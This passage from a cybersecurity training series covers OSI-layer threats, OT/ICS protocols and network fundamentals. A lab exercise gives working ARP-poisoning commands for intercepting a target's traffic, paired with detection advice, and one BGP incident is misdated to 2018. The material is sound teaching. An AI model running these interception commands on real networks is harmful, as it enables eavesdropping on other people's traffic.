  Pass HTTP data to web server application

SESSION/PRESENTATION (Layers 5-6):
  Not applicable for plain HTTP

APPLICATION (Layer 7):
  Web server receives: "GET / HTTP/1.1\r\nHost: 192.168.1.100..."
  Process request, generate response

10.2 Where Security Tools Operate

Wireshark: Operates at ALL layers — can decode from L1 statistics up to L7 application data
           Use: Full packet analysis, protocol debugging, forensics

tcpdump: Primarily L2-L4 — captures frames/packets/segments with filters
         Use: Quick capture, scripting, production environments

Nmap: Primarily L3-L4 — sends crafted IP packets and TCP/UDP segments
      OS detection uses L3 (TTL, IP options) and L4 (TCP window size, options)
      Service detection uses L7 (banner grabbing, protocol responses)
      Use: Port scanning, service enumeration, OS fingerprinting

iptables/nftables: L3-L4 — filter based on IP addresses and port numbers
                   L7 extension: --match string for application data (limited)
                   Use: Host-based firewall

Snort/Suricata: All layers — L2 MAC rules through L7 application patterns
                Use: Intrusion detection/prevention

Burp Suite: L7 only — HTTP/HTTPS proxy
            Operates at application layer, doesn't handle TCP/IP directly
            Use: Web application testing

Metasploit: L4-L7 — exploits operate at transport/application level
            Network modules include L3 (ICMP) and L2 (ARP) capabilities
            Use: Exploitation framework

ARP tools (arpspoof, Bettercap): L2 — manipulate ARP at Layer 2
                                  Use: MITM setup

11. OSI vs TCP/IP — Where Theory Meets Reality

11.1 The TCP/IP Model

The TCP/IP model (DoD model) is the practical model that actually describes how the internet works. It has four layers:

OSI Model              TCP/IP Model
─────────────────      ───────────────────
7. Application    ─┐
6. Presentation   ─┼─→  Application
5. Session        ─┘
4. Transport       ──→  Transport
3. Network         ──→  Internet
2. Data Link      ─┐
1. Physical       ─┴─→  Network Access

The TCP/IP model collapses OSI's L5-L7 into Application and L1-L2 into Network Access. This reflects reality — TCP/IP protocols don't strictly observe the OSI layer boundaries.

11.2 Why Both Models Matter

Use OSI when:

Troubleshooting: "Is this a Layer 1 problem (cable unplugged) or Layer 3 (routing)?"
Security analysis: "This attack operates at Layer 2 — what Layer 2 controls exist?"
Describing attack techniques: "This is a Layer 7 attack (HTTP) that uses a Layer 4 mechanism (TCP connection flooding)"
Vendor communication: The OSI model is the universal reference — every security professional understands it

Use TCP/IP when:

Protocol specification reading: RFCs describe TCP/IP protocols
Implementation details: Understanding actual protocol behaviour
Network engineering: How protocols actually interact

In practice: know OSI by name and layer number. Know TCP/IP for implementation details. Switch between them naturally depending on context. This is what professionals do.

12. Attacking Across the Stack — Layer-by-Layer Threat Map

┌──────────────────────────────────────────────────────────────────────────┐
│ Layer │ Key Attacks                    │ Key Defences                    │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L7   │ SQLi, XSS, CSRF, Command inj.  │ WAF, input validation, CSP      │
│  App  │ SSRF, XXE, IDOR, Deserialisat. │ Secure coding, DAST scanning    │
│       │ DNS cache poisoning, BGP hijack│ DNSSEC, RPKI, DMARC             │
│       │ Modbus/DNP3/SNMP exploitation  │ Protocol authentication (IEC 62351)│
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L6   │ Encoding attacks (UTF-8 abuse) │ Input normalisation, sanitisation│
│ Pres. │ CRIME/BREACH compression oracle│ Disable TLS compression         │
│       │ SSL/TLS downgrade attacks      │ TLS 1.2+ only, HSTS             │
│       │ Heartbleed (CVE-2014-0160)     │ Patch OpenSSL, cert rotation    │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L5   │ Session hijacking              │ Secure session tokens, HTTPS    │
│ Sess. │ RPC exploitation (MS03-026)    │ Firewall port 135, patch        │
│       │ NetBIOS/LLMNR poisoning        │ Disable LLMNR/NBT-NS, DNSSEC   │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L4   │ SYN flood                      │ SYN cookies, rate limiting      │
│ Trans.│ UDP amplification DDoS         │ BCP38, rate limiting services   │
│       │ TCP session hijacking          │ Randomised ISNs (modern OSes)   │
│       │ Port scanning                  │ Firewall, port knocking         │
│       │ TIME_WAIT exhaustion           │ Tune TCP stack parameters       │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L3   │ IP spoofing                    │ BCP38 ingress filtering         │
│  Net  │ ICMP redirect                  │ Disable ICMP redirect accept    │
│       │ Fragmentation attacks          │ Fragment reassembly at firewall │
│       │ OSPF/BGP route injection       │ Routing protocol authentication │
│       │ TTL manipulation (IDS evasion) │ Normalise TTL in IDS            │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L2   │ ARP spoofing/poisoning         │ Dynamic ARP Inspection (DAI)    │
│ Data  │ MAC flooding (CAM overflow)    │ Port security, MAC limiting     │
│ Link  │ VLAN hopping (DTP/double-tag)  │ Disable DTP, change native VLAN │
│       │ STP attacks (root bridge)      │ BPDU Guard, Root Guard          │
│       │ CDP/LLDP info disclosure       │ Disable on untrusted ports      │
│       │ GOOSE injection (IEC 61850)    │ IEC 62351-6 authentication      │
├───────┼────────────────────────────────┼─────────────────────────────────┤
│  L1   │ Physical wiretapping           │ Physical security, fibre+alarm  │
│ Phys. │ Signal jamming                 │ RF shielding, redundant paths   │
│       │ Rogue device insertion         │ 802.1X port authentication      │
│       │ Hardware implants              │ Supply chain verification, tamper│
│       │ Power analysis side-channel    │ Constant-time crypto, shielding │
└───────┴────────────────────────────────┴─────────────────────────────────┘

13. OSI in OT/ICS/SCADA Environments

13.1 How Industrial Protocols Map to OSI

The Purdue Model (covered in Stage 12) describes OT network architecture in functional zones. OSI describes communication within and between those zones. Together they form the complete framework for OT security analysis.

IEC 61850 Protocol Stack vs OSI:
┌─────────────┐     ┌──────────────────────────────────┐
│    OSI      │     │         IEC 61850 Stack           │
├─────────────┤     ├──────────────────────────────────┤
│ Application │←───→│ MMS (Manufacturing Message Spec.) │
│ Presentation│←───→│ ASN.1/BER encoding               │
│ Session     │←───→│ ISO Session Protocol              │
│ Transport   │←───→│ TCP (for MMS/ICCP)               │
│ Network     │←───→│ IP                               │
│ Data Link   │←───→│ Ethernet (GOOSE/SV directly here)│
│ Physical    │←───→│ Copper/Fibre Ethernet            │
└─────────────┘     └──────────────────────────────────┘

GOOSE and Sampled Values bypass L3-L7 entirely → directly over L2
This is why IP firewalls cannot filter GOOSE traffic

Modbus TCP vs OSI:
┌─────────────┐     ┌─────────────────┐
│    OSI      │     │   Modbus TCP    │
├─────────────┤     ├─────────────────┤
│ Application │←───→│ Modbus PDU      │ ← Function code, data
│ Pres./Sess. │     │ (not present)   │ ← No session management
│ Transport   │←───→│ TCP (port 502)  │
│ Network     │←───→│ IP              │
│ Data Link   │←───→│ Ethernet        │
│ Physical    │←───→│ Copper/Fibre    │
└─────────────┘     └─────────────────┘

Note: Modbus does not implement Presentation or Session layers.
Sessions are implicit — if the TCP connection is open, commands are executed.
Authentication: NONE at any layer.

13.2 OT Security Controls by Layer

Layer-by-layer OT security controls:

L1 — Physical:
  ✓ Physical access control to cabinets and field devices
  ✓ Cable labelling and documentation
  ✓ Tamper-evident seals on hardware
  ✓ Locked enclosures in remote locations
  ✗ Often: exposed USB ports, unguarded network jacks

L2 — Data Link:
  ✓ GOOSE authentication (IEC 62351-6) — rarely deployed
  ✓ Port security on managed switches
  ✗ Often: unmanaged switches (no port security possible)
  ✗ Often: flat L2 network (no VLAN separation)
  ✗ Often: GOOSE with no authentication

L3 — Network:
  ✓ Firewalls between IT and OT (DMZ)
  ✓ Whitelist-based ACLs (only known devices can communicate)
  ✗ Often: no inspection of Modbus/DNP3 payload
  ✗ Often: no logging of L3 traffic
  Note: Modbus TCP on port 502 can be filtered at L3, but payload not validated

L4 — Transport:
  ✓ Port filtering (block everything except known service ports)
  ✗ Often: wide-open port ranges for "legacy compatibility"

L7 — Application:
  ✓ Industrial protocol gateways with command inspection
  ✓ OPC UA with security mode (authentication + encryption)
  ✓ DNP3 Secure Authentication v5
  ✗ Often: Modbus with no authentication accepted by field devices
  ✗ Often: SNMP v1/v2c on network-connected devices

14. Hands-On Exercises

Exercise 1: Layer-by-Layer Packet Dissection (1 hour)

# Capture a full HTTP connection and manually identify each OSI layer

# Start capture
sudo tcpdump -i eth0 -w /tmp/http_full.pcap 'host neverssl.com and tcp port 80' &

# Generate traffic
curl -v http://neverssl.com/

# Stop capture
kill %1

# Open in Wireshark: wireshark /tmp/http_full.pcap
# For each packet in the TCP handshake (SYN, SYN-ACK, ACK):
# 1. Expand "Ethernet II" → identify L2 fields (Dst MAC, Src MAC, EtherType)
# 2. Expand "Internet Protocol" → identify L3 fields (Src IP, Dst IP, TTL, Protocol)
# 3. Expand "Transmission Control Protocol" → identify L4 fields (ports, flags, seq, ack)
# 4. Find the HTTP GET request packet → expand "Hypertext Transfer Protocol" → L7

# Answer these questions:
# - What is the Ethernet EtherType in hex?
# - What IP protocol number identifies TCP?
# - What TCP flags are set in the SYN packet?
# - What TTL does the server's response have? What OS does this suggest?
# - Can you find the HTTP response code?

Exercise 2: ARP Observation and Poisoning (Lab Only) (1 hour)

# This exercise MUST be done in an isolated lab (two VMs only)
# NEVER on production or shared networks

# VM1 (Attacker - Kali): 192.168.100.10
# VM2 (Target):          192.168.100.20
# Gateway (simulated):   192.168.100.1

# On Target (VM2) — observe normal ARP
arp -a
# Record the gateway's MAC address

# On Attacker (VM1) — start ARP poisoning
sudo arpspoof -i eth0 -t 192.168.100.20 192.168.100.1 &
sudo arpspoof -i eth0 -t 192.168.100.1 192.168.100.20 &
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

# On Target (VM2) — check ARP again
arp -a
# The gateway's MAC has changed to Attacker's MAC → ARP poisoning confirmed

# On Attacker (VM1) — observe intercepted traffic
sudo tcpdump -i eth0 -n 'host 192.168.100.20'

# Questions:
# What changed in the ARP cache?
# Can you see target's traffic in tcpdump?
# Can you detect this attack programmatically?

# Detection (on any machine on the same segment):
sudo arpwatch -i eth0    # Logs MAC address changes — would alert on this

Exercise 3: Build a Layer-by-Layer Attack Map (45 minutes)

Using only a packet capture and Wireshark, answer these questions about a network:

# Download a sample capture
wget https://wiki.wireshark.org/uploads/afae4d9c6a5c0b96db05df03d00c97b0/http.cap
wireshark http.cap

# L1 analysis:
# - Is the capture from Ethernet or Wi-Fi?
# - What is the maximum frame size observed?

# L2 analysis:
# - What are the unique MAC addresses?
# - Look up their OUIs: what manufacturers made these devices?
# - Is there any ARP traffic? What does it reveal?
# - Filter: arp

# L3 analysis:
# - What are the unique IP addresses?
# - What TTLs do you observe? What OSes?
# - Filter: ip

# L4 analysis:
# - What TCP connections exist? (Wireshark Statistics → Conversations → TCP)
# - What is the SYN timestamp? The FIN/RST timestamp? How long was the connection?
# - Filter: tcp.flags.syn == 1 to find all connection initiations

# L7 analysis:
# - What HTTP requests were made? (File → Export Objects → HTTP)
# - What user-agent string reveals the browser/OS?
# - Filter: http.request

Exercise 4: Wireshark OSI Layer Filters (30 minutes)

# Master Wireshark filters organised by OSI layer

# L2 filters:
eth.dst == ff:ff:ff:ff:ff:ff          # Broadcast frames
eth.type == 0x0806                     # ARP frames only
eth.type == 0x8100                     # 802.1Q VLAN tagged
eth.src == AA:BB:CC:DD:EE:FF           # Specific source MAC
eth.addr == AA:BB:CC:DD:EE:FF          # Source OR destination MAC

# L3 filters:
ip.src == 192.168.1.100               # Specific source IP
ip.dst == 192.168.1.1                 # Specific destination IP
ip.ttl < 10                           # Low TTL (dying packets or traceroute)
ip.frag_offset > 0                    # Fragmented packets (not first fragment)
ip.flags.mf == 1                      # More fragments flag set
icmp                                   # All ICMP traffic
icmp.type == 8                        # ICMP Echo Request (ping)

# L4 filters:
tcp.port == 80                        # TCP port 80 either direction
tcp.dstport == 443                    # HTTPS traffic
tcp.flags.syn == 1 and tcp.flags.ack == 0   # SYN only (new connections)
tcp.flags.rst == 1                    # RST packets (rejected connections)
tcp.analysis.retransmission           # TCP retransmissions (network problems/scanning)
udp.port == 53                        # DNS traffic

# L7 filters:
http.request.method == "POST"         # HTTP POST requests
http.response.code == 200             # Successful HTTP responses
http.response.code >= 400             # HTTP errors
dns.qry.name contains "evil"          # DNS queries containing "evil"
dns.flags.response == 0               # DNS queries only
smb2                                  # SMB2 traffic

15. Module Summary

OSI Layer	Number	PDU	Key Protocols	Primary Security Attacks	Key Defences
Application	7	Data	HTTP, DNS, SMTP, SMB, Modbus, DNP3, SNMP	SQLi, XSS, DNS poisoning, command injection, Modbus exploitation	WAF, input validation, DNSSEC, IEC 62351
Presentation	6	Data	TLS, SSL, JPEG, ASN.1	CRIME/BREACH, SSL downgrade, Heartbleed, encoding attacks	TLS 1.3, disable TLS compression, patch OpenSSL
Session	5	Data	NetBIOS, RPC, TLS handshake	Session hijacking, RPC exploitation, LLMNR poisoning	Disable LLMNR/NBT-NS, firewall RPC, HTTPS
Transport	4	Segment/Datagram	TCP, UDP, QUIC	SYN flood, UDP amplification, port scanning, TIME_WAIT exhaustion	SYN cookies, BCP38, rate limiting, firewall
Network	3	Packet	IPv4, IPv6, ICMP, OSPF, BGP, IPSec	IP spoofing, ICMP redirect, fragmentation attacks, route injection	BCP38, RPKI, routing authentication, firewall
Data Link	2	Frame	Ethernet, 802.1Q, ARP, STP, LLDP, GOOSE	ARP spoofing, MAC flooding, VLAN hopping, STP attack, GOOSE injection	DAI, port security, BPDU Guard, IEC 62351-6
Physical	1	Bits	Copper, Fibre, 802.11, RS-485	Wiretapping, jamming, rogue device, hardware implant	Physical security, 802.1X, supply chain audit

Next Module: Stage 1.3 — TCP/IP Model

Previous Module: Stage 1.1 — Network Concepts

Series Index: Full Roadmap

Stage 1.1 — Network Concepts

Rençber AKMAN — Sun, 31 May 2026 16:08:54 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 1 — Network Fundamentals

Module: 1.1 — Network Concepts

Level: Beginner → Advanced

Prerequisites: Stage 0 — Foundations (Complete)

Next Module: 1.2 — OSI Model

Why Networks Are the Battlefield
What Is a Network — First Principles
Network Types — LAN, WAN, MAN, PAN
How the Internet Actually Works
Bandwidth, Latency, Jitter — The Performance Trinity
Packets and Frames — How Data Travels
Unicast, Multicast, Broadcast — Addressing Modes
Network Topologies and Their Security Implications
The Security Mindset on Networks
Hands-On Exercises
Further Reading and Resources

1. Why Networks Are the Battlefield

Every single cyberattack — without exception — involves a network at some point. An attacker scanning for open ports, a piece of ransomware calling home to its command-and-control server, credentials being exfiltrated, a phishing link being clicked, lateral movement from one compromised machine to another — all of it flows through network infrastructure.

When security professionals talk about "the attack surface," networks represent the largest and most exposed portion of it. An organisation might lock down every workstation perfectly, deploy every patch on time, and train every employee — and still be compromised because a misconfigured network segment allowed an attacker to reach a system they should never have been able to touch.

For you specifically: Understanding networks is not a prerequisite you get through to reach the "interesting" material. It IS the interesting material. The difference between a junior analyst who struggles and a senior professional who consistently finds things others miss comes down, very often, to how deeply they understand what is happening at the network level.

A packet captured in Wireshark is meaningless noise to someone who does not understand networks. To someone who does, it tells a complete story — where the connection came from, where it was going, what protocol was used, whether the traffic is normal or anomalous, whether an attack is in progress, and what the attacker was trying to do.

For OT/ICS specifically: Industrial networks are fundamentally different from enterprise IT networks in their topology, their protocols, and their failure modes. Power substations, manufacturing floors, and water treatment facilities run communication networks that were designed for reliability and real-time control — not security. Understanding networking from first principles is what allows you to reason about these environments clearly when you encounter them.

The security mindset for this stage: The network is not a dumb pipe that moves bytes from A to B. It is a complex, stateful, layered system with its own logic, its own vulnerabilities, and its own forensic trail. Every byte that crosses a network leaves a story. Your job is to read it.

2. What Is a Network — First Principles

2.1 The Core Definition

A network is any system that allows two or more devices to exchange information. That definition is deceptively simple. The complexity — and the security implications — emerge from how that exchange is implemented.

At the most fundamental level, a network requires three things:

1. A medium — something through which the signal travels. This can be:

Copper wire (Ethernet, telephone lines)
Optical fibre (glass or plastic that carries light signals)
Radio waves (Wi-Fi, cellular, Bluetooth, Zigbee)
Even lasers through air (free-space optical communication, used in some industrial settings)

2. A protocol — an agreed-upon language for communication. Without protocols, a device sending data and a device receiving data would have no way to understand each other. Protocols define everything: how to start a conversation, how to end it, how to handle errors, how to ensure data arrives in order, how to authenticate, how to encrypt.

3. Addressing — a way to identify who is talking and who should receive the data. Without addressing, data broadcast by one device would reach all devices but none would know if it was meant for them.

These three requirements — medium, protocol, addressing — map directly onto the OSI model you will study in Module 1.2. Understanding this mapping now will make OSI click immediately when you reach it.

2.2 Why Networks Exist — The Business and Operational Driver

This matters for security because understanding why a network exists tells you what it is supposed to protect and what its failure modes mean.

Networks exist to enable:

Resource sharing — printers, storage, software licenses. Before networks, every computer needed its own copy of everything.

Communication — email, messaging, video calls. The entire modern communication infrastructure is a network.

Centralised management — instead of configuring every machine individually, network-connected devices can be managed from a central point. Active Directory is the enterprise manifestation of this.

Distributed computing — breaking large problems across many machines. Cloud computing is this at massive scale.

Real-time control — in OT/ICS environments, networks carry control signals between sensors, controllers, and actuators. A factory's production line communicates over a network. A power substation's protection relays communicate over a network. Here, the network is not a convenience — it is the operational backbone. Disrupting it does not cause inconvenience; it causes physical consequences.

2.3 The Fundamental Problem Networks Solve — and Create

Networks solve the problem of physical distance. Information that would take hours to transport physically can be transmitted in milliseconds.

But networks also create new problems:

Confidentiality: Data crossing a network can be intercepted. Every packet that travels through shared infrastructure — routers, switches, ISPs — passes through hardware you do not control. Anyone with access to that hardware can potentially read your data. This is why encryption exists.

Integrity: Data can be modified in transit. An attacker positioned between sender and receiver (Man-in-the-Middle) can alter packets. This is why cryptographic authentication exists.

Availability: Networks can be overwhelmed, disrupted, or severed. A DDoS attack exploits this. A cut cable exploits this. For OT networks where availability means operational continuity, this is the most critical concern.

Authentication: How does a receiving device know that data is actually from who it claims to be from? IP addresses can be spoofed. MAC addresses can be faked. This is why authentication protocols exist — and why their weaknesses are so heavily exploited.

These four properties — confidentiality, integrity, availability, authentication — map directly onto the CIA triad and its extensions that you studied in Stage 0. Everything you learn about networks connects back to these fundamentals.

3. Network Types — LAN, WAN, MAN, PAN

3.1 Why Classification Matters for Security

Network type classification is not academic taxonomy. It tells you:

What protocols are likely in use
What the physical attack surface looks like
What the regulatory environment is (some network types are regulated)
What assumptions about trust are built into the design
How an attacker would approach targeting it

3.2 PAN — Personal Area Network

Scale: Centimetres to ~10 metres

Purpose: Connect personal devices in immediate proximity

Technologies: Bluetooth (IEEE 802.15.1), Zigbee (IEEE 802.15.4), NFC, USB, IrDA

Your body area:
Smartphone ←→ Smartwatch (Bluetooth)
Laptop ←→ Wireless mouse/keyboard (Bluetooth)
Phone ←→ Payment terminal (NFC, <10cm)
Medical device ←→ Monitoring station (Zigbee)

Security Characteristics:

Short range limits the attack surface physically — attacker must be nearby
But "nearby" in a crowded office, airport, or conference is not much of a limitation
Bluetooth has had catastrophic vulnerabilities: BlueBorne (2017) allowed unauthenticated RCE on any Bluetooth device without pairing — just being in range was enough
NFC proximity requirement (≤4cm) is often cited as a security feature, but relay attacks can extend this range significantly
OT/ICS relevance: Zigbee is extensively used in smart meters, building automation, and some industrial sensor networks. Zigbee security depends heavily on proper key management, which is frequently misconfigured in deployments

Real Attack Scenarios:

Bluetooth keyboard injection: send keystrokes to a paired device to execute commands
NFC relay attack: intercept and relay contactless payment at a distance using two devices
Zigbee network compromise: capture the network key from a commissioning device, decrypt all traffic

3.3 LAN — Local Area Network

Scale: Single building or campus, typically up to ~1km

Purpose: Connect devices within an organisation or home

Technologies: Ethernet (IEEE 802.3), Wi-Fi (IEEE 802.11), Token Ring (legacy)

Speed: 100 Mbps to 400 Gbps (modern enterprise)

Typical Corporate LAN:
[Workstations] ←→ [Access Switch] ←→ [Distribution Switch] ←→ [Core Switch]
[Servers]      ←→ [Access Switch] ←→ [Distribution Switch] ←→ [Core Switch]
[IP Phones]    ←→ [Access Switch] ←→ (VLAN separation)
[IoT Devices]  ←→ [Access Switch] ←→ (Isolated VLAN)

Security Characteristics:

The LAN is where most enterprise security incidents happen. Because LAN traffic stays within the organisation's infrastructure, there is a common (and dangerous) assumption that LAN traffic is trustworthy. The Zero Trust model exists specifically to challenge this assumption.

Why LAN is the primary attack surface:

Once an attacker gains initial access (phishing, exploitation), they are inside the LAN
Traditional security models focused defences at the perimeter (where LAN meets WAN)
Inside the LAN, lateral movement was often unimpeded — flat networks where every device could reach every other device
ARP poisoning, VLAN hopping, SMB relay attacks, LLMNR/NBT-NS poisoning — all LAN-specific attacks
Active Directory, which dominates enterprise identity, is a LAN technology

Network Segmentation — The Most Important LAN Security Concept:

A flat LAN is a security disaster. Proper segmentation divides the LAN into zones where communication between zones is explicitly controlled:

Segmented Corporate LAN:
[Internet] → [Firewall] → [DMZ: Web servers, Mail relays]
                       → [Corporate LAN]
                            ├── [User VLAN: Workstations]
                            ├── [Server VLAN: Internal servers]
                            ├── [Management VLAN: Network devices, IPMI]
                            ├── [VoIP VLAN: IP phones]
                            ├── [Guest VLAN: Visitors — no LAN access]
                            └── [OT VLAN: Industrial devices — strictly isolated]

Each zone communicates with others only through explicitly allowed firewall rules. A compromised workstation in the User VLAN cannot directly reach the Server VLAN without going through inspection.

OT/ICS LAN specifics: Industrial LANs are supposed to be isolated from corporate IT LANs. In practice, the IT/OT boundary is one of the most frequently misconfigured security controls in the industry. The Ukraine 2015 power grid attack used IT network access to reach OT networks that were inadequately segregated.

3.4 MAN — Metropolitan Area Network

Scale: City or metropolitan area, typically 5-50km

Purpose: Connect multiple buildings or LANs within a geographic region

Technologies: Fibre optic rings (SONET/SDH), Carrier Ethernet, MPLS

Who uses it: Telecommunications providers, city governments, large universities, utility companies

City Infrastructure MAN:
[Hospital Campus] ←→ [City Fibre Ring] ←→ [City Hall]
[University]      ←→ [City Fibre Ring] ←→ [Library Network]
[Power Utility]   ←→ [City Fibre Ring] ←→ [Water Authority]

Security Characteristics:

The physical medium crosses public spaces — fibre cables can be cut, tapped, or accessed at junction points
Traffic often passes through multiple intermediate carriers where you have no visibility
City-scale infrastructure MANs are critical infrastructure targets — disrupting a MAN can affect hospitals, utilities, and government services simultaneously
BGP (Border Gateway Protocol) route hijacking can redirect MAN traffic through attacker-controlled infrastructure
Utility company MANs connect substations, control centres, and distribution equipment — these are high-value OT targets precisely because they are networked

3.5 WAN — Wide Area Network

Scale: Across cities, countries, or globally

Purpose: Connect geographically distributed networks

Technologies: MPLS, SD-WAN, leased lines, satellite, undersea cables

The internet itself is the world's largest WAN

Corporate WAN Example:
[HQ — Istanbul] ←→ [MPLS Provider] ←→ [Branch — Ankara]
[HQ — Istanbul] ←→ [MPLS Provider] ←→ [Branch — Izmir]
[HQ — Istanbul] ←→ [Internet VPN]  ←→ [Remote Workers]
[HQ — Istanbul] ←→ [Internet]      ←→ [Cloud Services]

Security Characteristics:

The WAN is fundamentally hostile territory. Traffic crosses infrastructure owned by third parties — ISPs, backbone providers, content delivery networks. This is the environment for which TLS/SSL was invented.

BGP — The Internet's Routing Protocol and Its Security Problem:
BGP (Border Gateway Protocol) is how routers on the internet decide where to send traffic. It is based on trust — networks announce which IP ranges they own, and other networks believe them. This design worked when the internet was small and all participants were known entities.

Today, BGP hijacking is a real and recurring threat:

In 2018, a Pakistani ISP accidentally announced that it owned YouTube's IP ranges. YouTube was unreachable globally for ~2 hours.
In 2010, China Telecom advertised routes for ~15% of internet traffic, routing it through China for ~18 minutes.
In 2022, researchers documented dozens of suspicious BGP events suggesting intentional route manipulation.

BGP hijacking can be used to:

Intercept traffic before it reaches its destination
Perform SSL stripping attacks at scale
Take over domains by intercepting DNS traffic
Disrupt specific organisations' connectivity

RPKI (Resource Public Key Infrastructure) is the cryptographic solution — it allows networks to cryptographically sign their BGP route announcements. Adoption is growing but not universal.

SD-WAN — The Modern Enterprise WAN:
SD-WAN (Software-Defined WAN) overlays software-defined networking principles onto WAN infrastructure. It dynamically routes traffic across multiple links (MPLS + broadband internet + 4G) based on policy. SD-WAN has its own attack surface — the centralised controller is a high-value target, and misconfigured SD-WAN deployments have exposed management interfaces to the internet.

4. How the Internet Actually Works

4.1 The Physical Foundation

The internet is not a cloud. It is a very concrete physical infrastructure. Understanding its physical reality changes how you think about attacks, censorship, intelligence collection, and reliability.

Undersea Cables:
Approximately 95% of international internet traffic travels through undersea fibre optic cables. There are roughly 400 active submarine cable systems connecting every continent except Antarctica. Each cable is roughly the diameter of a garden hose and carries petabits of traffic per second.

These cables are:

Vulnerable to physical damage (anchors, earthquakes, fishing trawlers)
Landing stations where cables come ashore are intelligence collection points — the Snowden documents revealed that GCHQ and NSA tapped undersea cables at landing stations
When a major cable is cut, traffic reroutes through other cables, but capacity constraints cause slowdowns affecting entire regions

Internet Exchange Points (IXPs):
IXPs are physical locations where different networks (ISPs, content providers, CDNs) connect and exchange traffic directly — "peering." Major IXPs include DE-CIX (Frankfurt), AMS-IX (Amsterdam), Equinix (multiple cities).

IXPs handle enormous traffic volumes and are significant surveillance and intelligence collection points. They are also single points of failure for regional connectivity.

4.2 IP Routing — The Logic Layer

When you send data across the internet, it does not travel a fixed, pre-determined path. It is routed dynamically, hop by hop, from router to router.

Your packet's journey from Istanbul to New York:
Your PC (192.168.1.5)
    ↓
Home Router (ISP gateway)
    ↓
ISP Router — Istanbul
    ↓
ISP Core Router — Istanbul
    ↓
Undersea Cable Landing Station — Portugal
    [Undersea fibre cable — Atlantic Ocean]
    ↓
Landing Station — New York
    ↓
Tier-1 ISP — New York
    ↓
Destination ISP — New York
    ↓
Target Server (203.0.113.1)

Each "hop" is a router that examines the destination IP address, looks up its routing table, and forwards the packet to the next hop. The routing table says: "For packets destined to 203.0.113.0/24, forward to next-hop 198.51.100.1."

Traceroute reveals this path:

traceroute google.com
# Each line is one hop
# 1  192.168.1.1      1ms    ← Your router
# 2  10.0.0.1         5ms    ← ISP router
# 3  195.175.39.1    12ms    ← ISP core
# 4  195.175.39.254  15ms    ← ISP backbone
# ...
# 18 142.250.185.78   98ms   ← Google's network

Security Implication of Routing:
You have no control over which routers handle your packets. Traffic between two Turkish endpoints might transit through routers in other countries depending on peering agreements. Each router along the path is a potential point of interception, modification, or blocking.

This is why end-to-end encryption (TLS) is designed to protect data even when the network infrastructure is untrusted. The encryption happens between your browser and the server — all the intermediate routers see is encrypted ciphertext.

4.3 DNS — The Internet's Phone Book

DNS (Domain Name System) translates human-readable names (google.com) into IP addresses (142.250.185.78) that routers use to route packets.

Understanding DNS is critical because:

DNS is involved in almost every internet communication
DNS attacks (poisoning, hijacking, tunnelling) are common and powerful
DNS queries are often unencrypted — they reveal every site you visit
C2 (Command and Control) communication for malware frequently uses DNS

The DNS Resolution Process:

You type: www.example.com

1. Check local DNS cache → not found
2. Query local resolver (your ISP or 8.8.8.8)
3. Resolver checks its cache → not found
4. Resolver queries root nameserver (.)
   "I need to find .com"
   Root server: "Ask the .com nameserver at 192.5.6.30"
5. Resolver queries .com nameserver
   "I need example.com"
   .com nameserver: "Ask example.com's nameserver at 205.251.196.1"
6. Resolver queries example.com's nameserver
   "I need www.example.com"
   Returns: "www.example.com → 93.184.216.34"
7. Resolver caches this result (TTL: 3600 seconds)
8. Returns 93.184.216.34 to your computer
9. Your computer connects to 93.184.216.34

Total time: typically 50-300ms (first query, uncached)

DNS Security Issues:

DNS cache poisoning: inject false DNS records into a resolver's cache, causing victims to connect to attacker-controlled IP
DNS hijacking: modify DNS settings on a device or router to redirect all queries to a malicious server
DNS tunnelling: encode data in DNS queries to exfiltrate data or maintain C2 communication through firewalls that allow DNS traffic
DNS over HTTP (DoH) and DNS over TLS (DoT) encrypt DNS queries, but also bypass traditional DNS monitoring — both a security improvement (privacy) and a detection challenge (visibility)

4.4 CDN — How Content Actually Reaches You

When you visit a major website, you are rarely connecting to the company's own server. You are connecting to a Content Delivery Network (CDN) — a globally distributed network of servers that cache and serve content from the closest location.

Major CDNs: Cloudflare, Akamai, Fastly, Amazon CloudFront, Google Cloud CDN.

Without CDN:
Turkish user → Request → Server in California → Response (200ms round trip)

With CDN:
Turkish user → Request → CDN node in Frankfurt → Response (20ms round trip)
                         (cached content served locally)

CDN Security Relevance:

CDNs absorb DDoS attacks — they have enough bandwidth and distributed infrastructure to absorb volumetric attacks that would overwhelm a single server
Cloudflare's "magic transit" and similar services can protect infrastructure from DDoS even at the network layer
CDN misconfigurations can expose origin server IPs (bypassing DDoS protection) or leak internal content
WAF (Web Application Firewall) functionality is commonly embedded in CDN services
CDNs see plaintext traffic even for HTTPS sites (TLS terminates at the CDN edge) — this is both a capability and a trust consideration

5. Bandwidth, Latency, Jitter — The Performance Trinity

5.1 Why These Matter for Security Professionals

Network performance metrics are not just for network engineers. They directly affect:

Whether attacks are detectable (anomalous bandwidth usage is an IOC)
How C2 channels are designed (attackers must stay within normal baseline traffic patterns to avoid detection)
DDoS attack characterisation (bandwidth exhaustion vs latency degradation vs jitter-based attacks)
OT network viability (real-time control requires strict latency and jitter bounds — exceeding them causes physical consequences)
Forensic timeline reconstruction (network timing data helps reconstruct attack sequences)

5.2 Bandwidth — The Pipe Size

Definition: The maximum rate at which data can be transferred across a network link. Measured in bits per second (bps) and its multiples: Kbps, Mbps, Gbps, Tbps.

Common bandwidth references:
Home broadband (Turkey, 2026): 100 Mbps - 1 Gbps download
Enterprise WAN link:           1 Mbps - 10 Gbps
Undersea cable (single):       ~160 Tbps
Ethernet LAN:                  1 Gbps - 400 Gbps
Wi-Fi 6 (802.11ax):           up to ~9.6 Gbps theoretical
5G cellular:                   up to ~20 Gbps theoretical, typically 100-900 Mbps real

Bits vs Bytes — confusion source:
Network speeds: bits/second (lowercase b) → 100 Mbps
File sizes: bytes (uppercase B) → 10 MB/s
100 Mbps ÷ 8 = 12.5 MB/s actual file transfer speed

Bandwidth vs Throughput vs Goodput:

Bandwidth — theoretical maximum capacity of the link
Throughput — actual data transfer rate achieved (always ≤ bandwidth)
Goodput — useful data transferred, excluding protocol overhead, retransmissions, headers

Real-world throughput is always less than bandwidth due to:

